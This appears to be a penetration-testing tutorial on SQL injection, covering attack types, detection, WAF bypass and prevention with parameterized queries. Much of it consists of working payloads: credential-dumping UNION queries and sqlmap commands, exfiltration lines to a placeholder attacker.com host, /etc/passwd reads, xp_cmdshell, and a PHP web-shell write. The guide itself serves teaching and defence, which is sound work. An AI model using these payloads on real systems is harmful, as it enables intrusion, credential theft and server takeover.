SQL Injection: Complete Guide to Detection, Exploitation and Prevention#

SQL Injection remains one of the most critical web application vulnerabilities, consistently ranking in OWASP Top 10. This comprehensive guide covers everything from basic concepts to advanced exploitation techniques.

What is SQL Injection?#

SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in an application's database layer. Attackers can manipulate SQL queries by inserting malicious code through user input fields.

Why SQL Injection Matters#

• Data Breach: Access to sensitive database information
• Authentication Bypass: Login without valid credentials
• Data Manipulation: Modify or delete database records
• Command Execution: In some cases, execute OS commands
• Complete System Compromise: Potential takeover of the entire server

Types of SQL Injection#

1. Classic SQL Injection (In-band)#

The most common type where the attacker uses the same channel to inject and retrieve results.

Error-Based SQL Injection#

-- Original Query
SELECT * FROM users WHERE id = '1'

-- Injected Payload
' OR '1'='1

-- Resulting Query
SELECT * FROM users WHERE id = '' OR '1'='1'

Union-Based SQL Injection#

-- Finding number of columns
' ORDER BY 1-- 
' ORDER BY 2-- 
' ORDER BY 3-- 

-- Extracting data
' UNION SELECT NULL,username,password FROM users--

2. Blind SQL Injection#

When the application doesn't return error messages, attackers use boolean or time-based techniques.

Boolean-Based Blind SQLi#

-- Testing for vulnerability
' AND 1=1-- (True - page loads normally)
' AND 1=2-- (False - different response)

-- Extracting database name length
' AND LENGTH(database())>5--
' AND LENGTH(database())>10--

-- Character-by-character extraction
' AND SUBSTRING(database(),1,1)='a'--

Time-Based Blind SQLi#

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
'; SELECT pg_sleep(5)--

-- MSSQL
'; WAITFOR DELAY '00:00:05'--

3. Out-of-Band SQL Injection#

Uses different channels for injection and data retrieval (DNS, HTTP).

-- MySQL (with LOAD_FILE)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--

-- MSSQL (with xp_dirtree)
'; EXEC xp_dirtree '\\\\'+@@version+'.attacker.com\a'--

Detection Techniques#

Manual Testing#

Basic Test Payloads#

# Single quote test
'
"
`

# Boolean-based
' OR '1'='1
' OR '1'='2

# Numeric context
1 OR 1=1
1 AND 1=2

# Comment sequences
'-- 
'#
'/*

Testing Different SQL Contexts#

-- String context
' OR '1'='1'--

-- Numeric context
1 OR 1=1--

-- Search queries
%' OR '1'='1

-- JSON parameters
{"id": "1' OR '1'='1-- "}

Automated Detection#

Using SQLMap#

# Basic scan
sqlmap -u "http://target.com/page?id=1" --batch

# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=admin"

# Cookie-based injection
sqlmap -u "http://target.com/" --cookie="id=1" -p id

# Testing all parameters
sqlmap -u "http://target.com/page?id=1&cat=2" --batch --level=3

# Database enumeration
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D db -T users --columns
sqlmap -u "http://target.com/page?id=1" -D db -T users -C username,password --dump

Advanced Exploitation Techniques#

Bypassing WAF/Filters#

Comment-Based Bypass#

-- Space bypass
'/**/OR/**/1=1--
'%0aOR%0a1=1--

-- Inline comments
'/*!50000OR*/1=1--
'/*!OR*/1=1--

Case Manipulation#

' oR 1=1--
' Or 1=1--
' UnIoN SeLeCt--

Encoding Bypass#

-- URL encoding
%27%20OR%201=1--

-- Double encoding
%2527%2520OR%25201=1--

-- Unicode encoding
\u0027\u0020OR\u00201=1--

Using Alternative Syntax#

-- Instead of spaces
'OR(1)=(1)--
'OR{1}={1}--

-- Alternative operators
' || '1'='1
' && '1'='1

-- Hex encoding
0x4f52 (OR in hex)

Extracting Sensitive Data#

Database Version Detection#

-- MySQL
SELECT @@version
SELECT version()

-- PostgreSQL
SELECT version()

-- MSSQL
SELECT @@version

-- Oracle
SELECT banner FROM v$version

Database Enumeration#

-- MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema='database'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables
SELECT column_name FROM information_schema.columns

Reading Files#

-- MySQL
' UNION SELECT LOAD_FILE('/etc/passwd')--

-- MSSQL (if xp_cmdshell enabled)
'; EXEC xp_cmdshell 'type C:\Windows\System32\drivers\etc\hosts'--

Writing Files#

-- MySQL (requires FILE privilege)
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--

-- PostgreSQL
'; COPY (SELECT '<?php system($_GET[''cmd'']); ?>') TO '/var/www/html/shell.php'--

Second-Order SQL Injection#

Occurs when malicious input is stored and later used in a SQL query.

-- Registration phase - storing malicious payload
Username: admin'--
Email: test@test.com

-- Later, when profile is loaded
SELECT * FROM users WHERE username = 'admin'--' AND email='...'
-- This comments out the rest of the query

Prevention Strategies#

1. Parameterized Queries (Prepared Statements)#

PHP (PDO)#

// Vulnerable code
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

// Secure code
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

Python#

# Vulnerable code
cursor.execute("SELECT * FROM users WHERE id = " + user_id)

# Secure code
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

Java#

// Vulnerable code
String query = "SELECT * FROM users WHERE id = " + userId;

// Secure code
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setString(1, userId);

2. Input Validation#

// Whitelist approach
$allowedIds = ['1', '2', '3', '4', '5'];
if (in_array($_GET['id'], $allowedIds)) {
    // Process query
}

// Type casting
$id = (int)$_GET['id'];

// Regex validation
if (preg_match('/^[0-9]+$/', $_GET['id'])) {
    // Valid numeric input
}

3. Escaping Special Characters#

// MySQL
$escaped = mysqli_real_escape_string($conn, $_GET['input']);

// PostgreSQL
$escaped = pg_escape_string($conn, $_GET['input']);

4. Least Privilege Principle#

-- Create restricted database user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- Grant only necessary privileges
GRANT SELECT, INSERT, UPDATE ON database.* TO 'webapp'@'localhost';

-- Remove dangerous privileges
REVOKE FILE ON *.* FROM 'webapp'@'localhost';

5. Web Application Firewall (WAF)#

# ModSecurity rules example
SecRule ARGS "@rx (\bor\b|\band\b|union|select|insert|update|delete)" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"

Testing Checklist#

• [ ] Test all input fields (forms, URL parameters, cookies)
• [ ] Try different SQL injection types
• [ ] Test with various payloads and encodings
• [ ] Check for error messages revealing database info
• [ ] Test authentication bypass scenarios
• [ ] Verify data extraction possibilities
• [ ] Test file read/write capabilities
• [ ] Check for second-order injections
• [ ] Test API endpoints and JSON inputs
• [ ] Verify prevention mechanisms are in place

Tools for SQL Injection Testing#

Automated Tools#

• SQLMap: Most comprehensive automated tool
• jSQL Injection: GUI-based tool
• Havij: Windows-based SQLi tool
• NoSQLMap: For NoSQL injection testing

Manual Testing Tools#

• Burp Suite: Intercept and modify requests
• OWASP ZAP: Open-source security scanner
• Postman: API testing
• curl: Command-line HTTP client

Real-World Examples#

Example 1: Authentication Bypass#

-- Login form vulnerable code
SELECT * FROM users WHERE username='$user' AND password='$pass'

-- Attacker input
Username: admin'--
Password: anything

-- Resulting query
SELECT * FROM users WHERE username='admin'--' AND password='anything'

Example 2: Data Exfiltration#

-- Vulnerable search
SELECT * FROM products WHERE name LIKE '%$search%'

-- Attacker payload
' UNION SELECT username,password,NULL FROM users--

-- Complete query
SELECT * FROM products WHERE name LIKE '%' UNION SELECT username,password,NULL FROM users--%'

Conclusion#

SQL Injection remains a critical threat to web applications. Understanding both offensive and defensive techniques is crucial for security professionals. Always:

1. Use parameterized queries
2. Validate and sanitize input
3. Apply least privilege principle
4. Keep systems updated
5. Conduct regular security testing
6. Implement proper error handling
7. Use WAF for additional protection

Remember: Never test on systems you don't own or have explicit permission to test.

---

Stay updated with the latest security techniques. Follow for more penetration testing guides and cybersecurity insights.